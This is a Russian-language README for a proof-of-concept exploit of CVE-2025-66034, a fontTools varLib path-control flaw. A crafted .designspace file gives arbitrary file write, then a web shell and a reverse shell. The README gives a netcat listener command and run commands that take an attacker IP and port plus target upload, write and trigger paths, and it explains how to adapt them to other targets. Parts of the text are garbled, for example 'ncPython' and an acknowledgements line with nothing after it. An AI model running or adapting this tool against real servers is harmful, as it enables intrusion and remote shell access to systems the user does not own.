
Эксплойт типа proof-of-concept для CVE-2025-66034 в конвейере генерации вариативных шрифтов fontTools. Специально подготовленный файл `.designspace` позволяет управлять путём вывода, что даёт возможность произвольной записи файлов. Скрипт автоматизирует создание полезной нагрузки, генерацию шрифта и загрузку для демонстрации проблемы.
Этот репозиторий не представляет собой новую уязвимость.
Это Proof-of-concept эксплойт для CVE-2025-66034, затрагивающий конвейер генерации вариативных шрифтов fontTools varLib.
Уязвимость позволяет злоумышленникам контролировать имя выходного файла внутри специально созданного файла .designspace. При обработке уязвимым сервисом генерации шрифтов это может привести к произвольной записи файлов в файловой системе сервера.
Скрипт varlib_cve_2025_66034.py автоматизирует создание полезной нагрузки, генерацию шрифтов, загрузку и опциональный запуск шелла.
ncPython 3.9+
Установка зависимостей:
pip install fonttools requests
Для слушателя требуется Netcat, поэтому следующая команда необходима, если вы используете опцию --no-listen:
nc -lvnp <PORT_NUMBER>
Если ваша цель — локальная лаборатория на mysite.com, а путь загрузки, путь записи в файловую систему и веб-доступный путь запуска совпадают со значениями по умолчанию в скрипте, вы можете запустить его напрямую.
Базовое использование:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
Весьма вероятно, что цель использует другие URL-адреса или пути в файловой системе. Переопределите значения по умолчанию с помощью доступных опций ниже, таких как --url, --path и --trigger, или измените скрипт вручную.
Примечание: имена полей multipart-формы могут различаться в зависимости от окружения. Если цель не использует те же имена полей формы, что и скрипт, настройте их в разделе files перед запуском эксплойта.
| Аргумент | Описание |
|---|---|
--ip | IP-адрес слушателя атакующего |
--port | Порт слушателя |
--path | Путь в файловой системе цели, куда будет записан файл (должен быть веб-доступным для запуска веб-шелла) |
--url | Конечная точка загрузки, форма может различаться |
--trigger | Базовый URL для запуска записанной полезной нагрузки после загрузки |
--no-listen | Отключить автоматический слушатель netcat |
Пример с пользовательскими опциями:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspaceОсобая благодарность и уважение:
Этот proof-of-concept предоставлен в образовательных и исследовательских целях, чтобы помочь понять уязвимость и её влияние.
Этот код предоставлен только в образовательных и исследовательских целях.
Не используйте этот эксплойт против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим программным обеспечением.